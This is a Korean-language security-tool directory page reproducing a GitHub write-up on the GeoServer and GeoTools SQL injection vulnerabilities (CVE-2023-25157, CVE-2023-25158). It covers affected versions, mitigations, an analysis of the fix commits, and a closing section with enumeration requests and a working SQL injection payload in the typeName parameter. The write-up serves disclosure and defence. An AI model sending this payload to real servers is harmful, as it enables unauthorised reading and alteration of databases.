Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-25157-and-CVE-2023-25158 — GeoServer & GeoTools SQL 인젝션 (CVE-2023-25157 & CVE-2023-25158) | Kitploit
도구/GitHubGitHub/murataydemir/cve-2023-25157-and-cve-2023-25158
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHubmurataydemir/cve-2023-25157-and-cve-2023-25158

CVE-2023-25157-and-CVE-2023-25158

GeoServer & GeoTools SQL 인젝션 (CVE-2023-25157 & CVE-2023-25158)

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
1443년 전아직 검토되지 않음

GeoServer & GeoTools SQL Injection (CVE-2023-25157 & CVE-2023-25158)


이 저장소는 GeoServer 플랫폼 및 GeoTools 라이브러리에서 발견된 SQL 삽입 취약점에 대한 상세한 설명과 재현 단계를 포함하고 있습니다. 이 취약점에는 GeoServer의 경우 CVE-2023-25157, GeoTools의 경우 CVE-2023-25158 식별자가 할당되었습니다.

GeoServer는 Java로 작성된 오픈소스 소프트웨어 서버로, 지리공간 데이터를 보고, 편집하고, 공유할 수 있는 기능을 제공합니다. 이는 GIS(지리정보시스템) 데이터베이스, 웹 기반 데이터, 개인 데이터셋 등 다양한 출처의 지리공간 데이터를 배포하기 위한 유연하고 효율적인 솔루션으로 설계되었습니다.

GeoServer는 데이터 공유를 위해 Web Feature Service(WFS), Web Map Service(WMS), Web Coverage Service(WCS)를 포함한 OGC(Open Geospatial Consortium) 표준을 준수합니다. 이러한 표준 준수는 GeoServer의 데이터가 맞춤형 GIS 소프트웨어부터 기성 솔루션에 이르기까지 다양한 애플리케이션에서 사용될 수 있음을 의미합니다.

GeoServer는 주로 Spring Framework를 기반으로 구축되었지만, 다음과 같은 여러 다른 라이브러리 및 프레임워크도 사용합니다:

  • GeoTools: 지리공간 데이터를 위한 도구를 제공하는 오픈소스 Java 라이브러리입니다. GeoServer는 데이터 읽기, 쓰기, 변환과 같은 많은 핵심 기능에 GeoTools를 사용합니다.
  • Hibernate Validator: 빈 검증에 사용됩니다.
  • Java Topology Suite (JTS): 평면 기하학을 위한 객체 모델과 기본 기하 함수 세트를 제공하는 오픈소스 Java 소프트웨어 라이브러리입니다. GeoServer는 경계 상자 계산과 같은 기하 연산에 이를 사용합니다.
  • Apache Wicket: 웹 관리 인터페이스에 사용됩니다. JavaServer Faces 및 Tapestry와 유사한 컴포넌트 기반 웹 애플리케이션 프레임워크입니다.
  • Log4J: 로깅에 사용됩니다.

취약점


해당 취약점은 OGC(Open Geospatial Consortium) 표준에 의해 정의된 필터 및 함수 표현식에 깊이 내재되어 있습니다. 이러한 표현식은 지리공간 데이터 쿼리 및 조작의 중추를 형성하며, GeoServer 및 GeoTools와 같은 시스템의 기능에 중추적인 역할을 합니다.

이러한 취약점이 악용되면 심각한 보안 위반으로 이어질 수 있습니다. 정보의 무단 공개가 주요 관심사이며, 공격자는 데이터베이스에 저장된 민감한 데이터에 접근할 수 있습니다. 무단 수정도 또 다른 잠재적 결과로, 공격자가 데이터를 자신에게 유리하게 조작할 수 있습니다. 또한 이러한 취약점은 서비스 중단을 용이하게 하여 성공적인 악용 시 서비스를 사용할 수 없게 만들 수 있습니다.

다음은 식별된 각 취약점에 대한 심층 분석을 제공합니다. 각 취약점은 구체적인 특성, 발현 조건 및 악용 시 잠재적 영향에 대해 자세히 설명합니다. 다음은 GeoServer에서 발견된 취약점에 대한 상세 분석입니다:

  • PropertyIsLike 필터: 이 취약점은 PropertyIsLike 필터가 문자열 필드와 함께 관계형 데이터베이스 기반 저장소, 인코딩 함수가 활성화된 PostGIS DataStore, 또는 인덱스가 관계형 데이터베이스에 저장된 이미지 모자이크와 함께 사용될 때 존재합니다.
  • strEndsWith 함수: 이 취약점은 인코딩 함수가 활성화된 PostGIS DataStore와 함께 strEndsWith 함수가 사용될 때 발생합니다.
  • strStartsWith 함수: 이 취약점은 인코딩 함수가 활성화된 PostGIS DataStore와 함께 strStartsWith 함수가 사용될 때 발견됩니다.
  • FeatureId 필터: 이 취약점은 FeatureId 필터가 문자열 기본 키 열이 있는 모든 데이터베이스 테이블과 함께 사용되고 준비된 문(Prepared Statement)이 비활성화된 경우에 존재합니다.
  • jsonArrayContains 함수: 이 취약점은 jsonArrayContains 함수가 문자열 또는 JSON 필드와 함께 PostGIS 또는 Oracle DataStore에서 사용될 때 발견됩니다(GeoServer 2.22.0 이상 버전에서만 해당).
  • DWithin 필터: 이 취약점은 DWithin 필터가 Oracle DataStore와 함께 사용될 때 발견됩니다.

그리고 GeoTools에서 발견된 취약점에 대한 상세 분석은 다음과 같습니다:

  • PropertyIsLike 필터:
    • 인코딩 함수가 활성화된 PostGIS DataStore 필요
    • 또는 문자열 필드가 있는 모든 JDBCDataStore(모든 관계형 데이터베이스)(완화책 없음)
  • strEndsWith 함수:
    • 인코딩 함수가 활성화된 PostGIS DataStore 필요
  • strStartsWith 함수:
    • 인코딩 함수가 활성화된 PostGIS DataStore 필요
  • FeatureId 필터:
    • 준비된 문이 비활성화되고 문자열 기본 키가 있는 테이블이 있는 JDBCDataStore(모든 관계형 데이터베이스) 필요(Oracle은 영향을 받지 않음, SQL Server 및 MySQL에는 준비된 문을 활성화하는 설정이 없으며, PostGIS에는 있음)
  • jsonArrayContains 함수:
    • 문자열 또는 JSON 필드가 있는 PostGIS 및 Oracle DataStore 필요
  • DWithin 필터:
    • Oracle DataStore에서만 발생, 완화책 없음

영향을 받는 버전


  • GeoServer: < 2.21.4, >= 2.22.0, < 2.22.2 버전이 CVE-2023-25157 GeoServer SQL Injection 취약점의 영향을 받습니다.
  • GeoTools: < 28.2, < 27.4, < 26.7, < 25.7, < 24.7 버전이 CVE-2023-25158 GeoTools SQL Injection 취약점의 영향을 받습니다.

상태


  • 수정 사항을 포함한 업데이트된 GeoServer 버전 2.21.4, 2.22.2, 2.20.7, 2.19.7, 2.18.7이 이제 공개적으로 사용 가능합니다.
  • 필요한 패치가 포함된 GeoTools 버전 28.2, 27.4, 26.7, 25.7, 24.7을 이제 사용할 수 있습니다.

완화 및 권장 해결 방법


GeoServer SQL Injection(CVE-2023-25157) 및 GeoTools SQL Injection(CVE-2023-25158) 취약점 모두에 대해 권장되는 조치는 명시된 버전 이상으로 업그레이드하는 것입니다. 이 업그레이드가 완료되면 추가 조치가 필요하지 않습니다. 그러나 신속하게 업그레이드하기 어려운 사용자를 위해 Geo 팀은 아래에 몇 가지 대체 솔루션을 제공했습니다.

  • strEndsWith, strStartsWith 취약점을 완화하기 위해 PostGIS Datastore 인코딩 함수 설정 비활성화(게시된 피처 유형에 문자열 필드가 있는 경우 Like 필터에는 완화책이 없음).

  • FeatureId 취약점을 완화하기 위해 PostGIS DataStore preparedStatements 설정 활성화.```java Map<String, Object> params = new HashMap < >(); params.put("dbtype", "postgis"); params.put("host", "localhost"); params.put("port", 5432); params.put("schema", "public"); params.put("database", "database"); params.put("user", "postgres"); params.put("passwd", "postgres"); params.put("preparedStatements", true); // mitigation params.put("encode functions", false); // mitigation

    DataStore dataStore = DataStoreFinder.getDataStore(params);

root@kitploit:~
- 공격 표면을 제한하는 좋은 방법으로, 연결 풀에서 사용되는 데이터베이스 계정에 최소한의 필요한 권한만 부여하는 것이 중요합니다(예: WFS-T/임포터/REST 과립 수집을 사용하지 않는 경우 읽기 전용, 프로덕션 사용에 필요한 스키마와 테이블로만 접근 제한).
- `PropertyIsLike` 필터에 대한 완화 방법은 없으며, 업그레이드할 수 있을 때까지 데이터베이스 DataStore를 비활성화하는 것을 선택할 수 있습니다.
- Oracle DataStore의 `DWithin`에 대한 완화 방법은 없으며, 업그레이드할 수 있을 때까지 Oracle DataStore를 비활성화하는 것을 선택할 수 있습니다.
### <b>패치 분석: GitHub 이슈 및 관련 커밋</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
아래에는 GeoServer 및 GeoTools에서 발견된 SQL 삽입 취약점과 관련된 몇 가지 관련 JIRA 이슈에 대한 링크가 제공됩니다. 이 링크는 이러한 특정 취약점과 관련된 중요한 데이터, 논의 및 제안된 해결책에 접근할 수 있게 해줍니다.
- [GEOS-10842: JDBCConfig: SQL 쿼리에서 사용자 입력 이스케이프](https://osgeo-org.atlassian.net/browse/GEOS-10842)
- [GEOS-10839: JDBCConfig: SQL 주석 및 예쁘게 출력을 비활성화하는 JDBC 구성 매개변수 추가](https://osgeo-org.atlassian.net/browse/GEOS-10839)
- [GEOT-7302: SQL 쿼리에서 사용자 입력 이스케이프](https://osgeo-org.atlassian.net/browse/GEOT-7302)

[`geoserver/geoserver@145a8af`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b) 커밋을 살펴보면 각각 다음과 같은 변경 사항을 명확히 볼 수 있습니다:

- [`ConfigDatabase.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java)에서 속성 필드 추가와 이 속성 필드를 포함하도록 생성자 변경이 이루어졌습니다. 이는 데이터베이스 구성을 더 많이 사용자 정의할 수 있게 하여 잠재적으로 향상된 보안 조치를 가능하게 합니다. [`NamedParameterJdbcTemplate`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html)은 Spring Framework에서 제공하는 클래스로, 기존의 자리 표시자('?') 인수를 사용하여 JDBC 문을 프로그래밍하는 대신 명명된 매개변수를 사용하여 JDBC 문을 프로그래밍하는 지원을 추가합니다. 이 커밋에서 `ConfigDatabase` 생성자는 `DataSource`를 받아 `NamedParameterJdbcTemplate`을 생성하도록 업데이트됩니다. 명명된 매개변수는 가독성을 향상시키고 인수가 매개변수화되어 SQL 명령의 일부가 아니라는 점을 명확히 하여 SQL 삽입 공격을 방지할 수도 있습니다.
  > [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-1b49bc6af3f36da2ebf7a0d8d3af3fa3697ccee91bf67a690f99837ee2730bed)```java
    /* (c) 2014 Open Source Geospatial Foundation - all rights reserved
     * (c) 2001 - 2013 OpenPlans
     * This code is licensed under the GPL 2.0 license, available at the root
     * application directory.
     */
    package org.geoserver.jdbcconfig.internal;
    // import some packages...
    import org.geoserver.jdbcloader.JDBCLoaderProperties;

    public class ConfigDatabase implements ApplicationContextAware {
        public static final Logger LOGGER = Logging.getLogger(ConfigDatabase.class);
        private static final int LOCK_TIMEOUT_SECONDS = 60;

        private Dialect dialect;

        private JDBCLoaderProperties properties;
        // rest of the codebase

        protected ConfigDatabase() {
            //
        }

        public ConfigDatabase(
                JDBCLoaderProperties properties,
                DataSource dataSource,
                XStreamInfoSerialBinding binding) {
            this(properties, dataSource, binding, null);
        }

        public ConfigDatabase(
                JDBCLoaderProperties properties,
                final DataSource dataSource,
                final XStreamInfoSerialBinding binding,
                CacheProvider cacheProvider) {
            this.properties = properties;
            this.binding = binding;
            this.template = new NamedParameterJdbcTemplate(dataSource);
            // cannot use dataSource at this point due to spring context config hack

실제 SQL 인젝션 취약점은 더 안전한 SQL 구성 및 실행, 특히 문자열 연결 대신 매개변수화된 쿼리를 사용함으로써 수정된 것으로 보입니다. 이는 template.queryForObject 호출의 변경 사항에서 확인할 수 있습니다. sql.toString()을 사용하는 대신 sql 변수 자체(안전하게 구성된 SQL 문으로 보임)를 사용합니다.

src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java```java // count = template.queryForObject(sql.toString(), namedParameters, Integer.class); count = template.queryForObject(sql, namedParameters, Integer.class);

root@kitploit:~
`QueryBuilder.java`의 `sql` StringBuilder 객체가 String 객체로 대체됩니다. 이 변경은 SQL 인젝션 공격을 방지하는 데 중요할 수 있습니다. StringBuilder 객체는 가변적이어서 SQL 쿼리에 의도치 않거나 악의적인 수정이 발생할 수 있기 때문입니다. 이를 불변 객체인 String으로 대체하면 이러한 수정을 방지하여 SQL 인젝션을 예방하는 데 도움이 됩니다.
  > [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-a393e831a86b6020d56c521d7b9135179daa804e2cb435b19d85d76eb5d0544bL131-R131)```java
    // private void querySortBy(StringBuilder query, StringBuilder whereClause, SortBy[] orders) {
    private void querySortBy(StringBuilder query, String whereClause, SortBy[] orders) {
         /*
         * Start with the oid and id from the object table selecting for type and the filter.
         *
         * Then left join on oid for each property to sort by to turn it into an attribute.
         *
         * The sort each of the created attribute.
         */
  • SQL 주석 이스케이프: 새로운 메서드 escapeComment가 Dialect.java 클래스에 추가되었습니다. 이 메서드는 주석 문자열을 받아 잠재적으로 위험한 문자를 이스케이프 처리합니다. 구체적으로는 일부 SQL 인젝션 공격에서 사용되는 SQL 주석 열기 및 닫기 문자('/*' 및 '*/')를 이스케이프 처리하는 것으로 보입니다.

    src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java /** Escapes the contents of the SQL comment to prevent SQL injection. / public String escapeComment(String comment) { String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("\\/"); return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\*"); }

root@kitploit:~
- SQL에 주석 추가: 디버그 모드가 활성화되지 않은 경우, 이 메서드는 단순히 원래 SQL을 반환합니다. 디버그 모드가 활성화된 경우, 제공된 객체의 문자열 표현을 주석 형태로 SQL에 추가합니다. 주석은 `escapeComment` 메서드를 사용하여 안전하게 이스케이프 처리됩니다.
  > [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-b224c54b2d06ede45d4a45d34d64452aaeae70fbe60210e800d85df98a60e432R55-R65)```java
    /** Appends the objects to the SQL in a comment if debug mode is enabled. */
    public StringBuilder appendComment(StringBuilder sql, Object...objects) {
        if (!debugMode) {
            return sql;
        }
        sql.append(" /* ");
        for (Object object: objects) {
            sql.append(escapeComment(String.valueOf(object)));
        }
        return sql.append(" */\n");
    }
    /** Appends the objects to the SQL in an comment if debug mode is enabled. */
    public StringBuilder appendComment(Object sql, Object...objects) {
        return appendComment((StringBuilder) sql, objects);
    }
    /** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
    public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
        return sql.append(debugMode ? ifEnabled : ifDisabled);
    }
  • SQL에 조건부로 문자열 추가: Dialect 클래스에 appendIfDebug 메서드가 추가되었습니다. 이 메서드는 디버그 모드 활성화 여부에 따라 제공된 두 문자열 중 하나를 SQL에 추가합니다. Dialect.java 클래스에는 debugMode 필드가 추가되고, 상태를 변경하기 위한 setDebugMode() 메서드가 제공됩니다. 이 디버그 모드는 detect() 메서드에서 사용됩니다.

    src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java public class Dialect { // rest of the code... public static Dialect detect(DataSource dataSource, boolean debugMode) { Dialect dialect; try { Connection conn = dataSource.getConnection(); } catch (SQLException ex) { throw new RuntimeException(ex); } dialect.setDebugMode(debugMode); return dialect; }

    root@kitploit:~
      public boolean isDebugMode() {
          return debugMode;
      }
    
      public void setDebugMode(boolean debugMode) {
          this.debugMode = debugMode;
      }
    }
    
root@kitploit:~
[`geotools/geotools@64fb4c4`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b) 커밋을 살펴보면 각각 다음과 같은 변경 사항을 명확히 볼 수 있습니다:

- [`modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e) 클래스에 `escapeBackslash` 필드를 추가한 것은 백슬래시 문자가 SQL 구문에서 특수 문자를 이스케이프하는 데 사용되는 특정 형태의 SQL 인젝션을 방지하기 위한 예방 조치입니다. 문자열 리터럴에서 백슬래시를 이스케이프하는 옵션을 제공함으로써 개발자는 애플리케이션이 백슬래시 문자를 이스케이프 문자 대신 일반 텍스트로 취급하도록 하여 SQL 인젝션 가능성을 제한할 수 있습니다.
이러한 변경 사항은 문자열 리터럴의 특수 문자(예: 작은따옴표, 큰따옴표, 백슬래시)가 SQL 쿼리에 포함되기 전에 적절히 이스케이프되도록 하여 SQL 인젝션을 방지하기 위해 함께 작동합니다. 이는 SQL 인젝션 취약점을 완화하는 일반적인 방법입니다. `escapeBackslash`가 true로 설정되면 [`EscapeSql`](https://github.com/geotools/geotools/blob/2da7f4f8cc746dc3d4a31a6323a76797a99e7997/modules/library/jdbc/src/main/java/org/geotools/jdbc/EscapeSql.java#L28) 클래스의 [`escapeLiteral()`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-9c2f3a1daafd589eb6305170ffa40db051aeda5ae26c22b3438ba5923b451ab7R36-R49) 메서드가 호출될 때 문자열 리터럴의 백슬래시가 이스케이프됩니다. 이 메서드는 [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) 클래스의 여러 곳에서 SQL 쿼리에 포함되기 전에 문자열 리터럴을 이스케이프하는 데 사용됩니다. 예를 들어, [line 1762](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR1761-R1762)```java
  // single quotes must be escaped to have a valid sql string
  String escaped = escapeLiteral(encoding);

이 메서드가 호출되는 한 곳이며, escapeBackslash 설정이 적용되는 곳입니다. 원래 코드에서는 애플리케이션이 수동으로 작은따옴표를 두 개의 작은따옴표로 대체했으며, 이는 SQL에서 작은따옴표를 이스케이프하는 일반적인 방법입니다. 이는 이스케이프되지 않은 작은따옴표가 공격자로 하여금 문자열 리터럴을 조기에 종료시키고 자신의 SQL 명령을 추가하게 하여 SQL 인젝션 취약점으로 이어질 수 있기 때문에 중요합니다.

수정된 코드에서는 수동으로 작은따옴표를 대체하는 대신, 애플리케이션이 이제 EscapeSql.java 클래스의 escapeLiteral() 메서드를 호출합니다. 이 메서드는 작은따옴표뿐만 아니라 백슬래시, 그리고 매개변수에 따라 큰따옴표까지 이스케이프하도록 설계되었습니다:```java public static String escapeLiteral( String literal, boolean escapeBackslash, boolean escapeDoubleQuote) { // ' --> '' String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''"); if (escapeBackslash) { // \ --> \ escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\"); } if (escapeDoubleQuote) { // " --> " escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\""); } return escaped;

root@kitploit:~
이렇게 함으로써 애플리케이션은 SQL 문자열의 모든 특수 문자가 적절히 이스케이프되도록 보장할 수 있으며, 이는 SQL 인젝션을 방지하는 더 강력하고 안전한 접근 방식입니다.
- `convertToSQL92` 메서드의 변경 사항: `LikeFilterImpl.convertToSQL92` 메서드는 표준 SQL 'LIKE' 구문의 패턴을 SQL-92 구문으로 변환합니다. 이 커밋에서는 이 메서드에 새로운 매개변수를 추가했습니다. 변경 사항은 [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) 클래스의 [line 547](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR546-R547)에 있는 메서드에서 가져왔습니다.```java
  // String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal);
  String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal, false);

특정 문자를 이스케이프 처리하는 과정에 영향을 미치는 플래그를 추가하는 것으로 보입니다. 이전에는 메서드 호출 끝에 false 매개변수가 포함되지 않았습니다. 이 false 값은 아마도 변환 과정에서 literal 문자열 내의 특정 문자를 이스케이프 처리할지 여부와 관련이 있습니다. 이스케이프 처리는 literal 문자열의 특수 문자가 SQL 구문의 일부로 해석되지 않고 단순한 텍스트 값으로 처리되도록 하여 SQL 인젝션을 방지하는 데 도움이 됩니다.

  • out.write()를 writeLiteral()로 대체: out.write()를 writeLiteral()로 대체한 것도 또 다른 주요 변경 사항입니다. out.write() 메서드는 주어진 문자열을 추가 처리나 이스케이프 없이 그대로 출력 스트림에 기록합니다. 이는 문자열에 이스케이프되지 않은 SQL 구문이 포함된 경우 SQL 인젝션으로 이어질 수 있습니다.```java writeLiteral(pattern);
root@kitploit:~
반면에, `writeLiteral()`은 출력 스트림에 문자열을 쓰기 전에 어떤 형태의 이스케이프 또는 살균 처리를 적용하여 SQL 삽입 위험을 줄이는 것으로 보입니다. 이 변경은 직접 쓰기 작업을 `writeLiteral()` 호출로 대체하며, 여기에는 SQL 삽입을 방지하기 위한 예방 조치가 포함될 가능성이 높습니다.```java
  // out.write(attValues.get(j).toString());
  writeLiteral(attValues.get(j));

익스플로잇 요청 및 응답


이러한 취약점을 제대로 익스플로잇하려면 먼저 다음 항목을 획득해야 합니다:

  1. 사용 가능한 기능 이름
  2. 각 사용 가능한 기능에 대한 속성

각각입니다. 따라서 사용 가능한 기능 이름을 얻기 위해 대상 서버에 다음 요청을 보냅니다.``` GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close

root@kitploit:~
![1-get-available-feature-names - Copy](https://assets.kitploit.com/production/public/readmes/29664/1a9741582c0f6afca6ac3d694801f70d78a0d47ea3351ad086a6f653796ad362.png)

사용 가능한 기능 이름을 얻은 후에는 관련된 사용 가능한 기능에 대한 속성을 가져오기 위해 다음 HTTP 요청을 보내야 합니다.```
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

2-get-available-properties-from-available-features - Copy - Copy

위에 표시된 두 개의 HTTP 요청 이후, 사용 가능한 모든 피처 이름과 해당 피처 이름과 연관된 속성 이름을 열거합니다. 이 단계 후에는 가져온 모든 속성에 대해 SQL 페이로드가 주입된 악의적인 HTTP 요청을 서버에 전송하여 익스플로잇 프로세스를 수행할 수 있습니다.``` GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName==strStartsWith%28%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close

root@kitploit:~
![3-injection-of-sql-query - Copy](https://assets.kitploit.com/production/public/readmes/29664/b9349929ed21ec2bb21d8819c4417804b455c5b3b5186433816da88a9864abe6.png)

### <b>결론</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
결론적으로, CVE-2023-25157 및 CVE-2023-25158에 설명된 GeoServer 및 GeoTools의 SQL Injection 취약점 발견은 디지털 환경에 항상 존재하는 위협에 대한 강력한 경고 역할을 합니다. OGC 필터 및 함수 표현식의 핵심에 존재하는 이러한 취약점은 심각한 중단과 승인되지 않은 데이터 액세스 또는 수정을 초래할 수 있습니다.

이러한 취약점의 수정에 대한 자세한 내용은 다음 리소스를 방문하십시오:

- 취약점을 수정하는 데 사용된 커밋: [geoserver/geoserver@145a8af](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d)
- 취약점을 수정하는 데 사용된 커밋: [geotools/geotools@64fb4c4](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)
- [GeoServer OGC Filter SQL Injection Vulnerability](https://geoserver.org/vulnerability/2023/02/20/ogc-filter-injection.html) 및 [GeoTools OGC Filter SQL Injection Vulnerability](http://geotoolsnews.blogspot.com/2023/02/geotools-274-released.html)
- [GitHub Advisory Database (GitHub Reviewed): GeoServer SQL Injection](https://github.com/advisories/GHSA-7g5f-wrx8-5ccf), [GeoServer Advisory Database: SQL Injection on GeoServer](https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf) 및 [GeoTools Advisory Database: SQL Injection on GeoTools](https://github.com/geotools/geotools/security/advisories/GHSA-99c3-qc2q-p94m)
- [NIST Advisory for GeoServer: CVE-2023-25157](https://nvd.nist.gov/vuln/detail/CVE-2023-25157) 및 [NIST Advisory for GeoTools: CVE-2023-25158](https://nvd.nist.gov/vuln/detail/CVE-2023-25158)
- [MITRE Advisory for GeoServer: CVE-2023-25157](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25157) 및 [MITRE Advisory for GeoTools: CVE-2023-25158](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25158)
도구 다운로드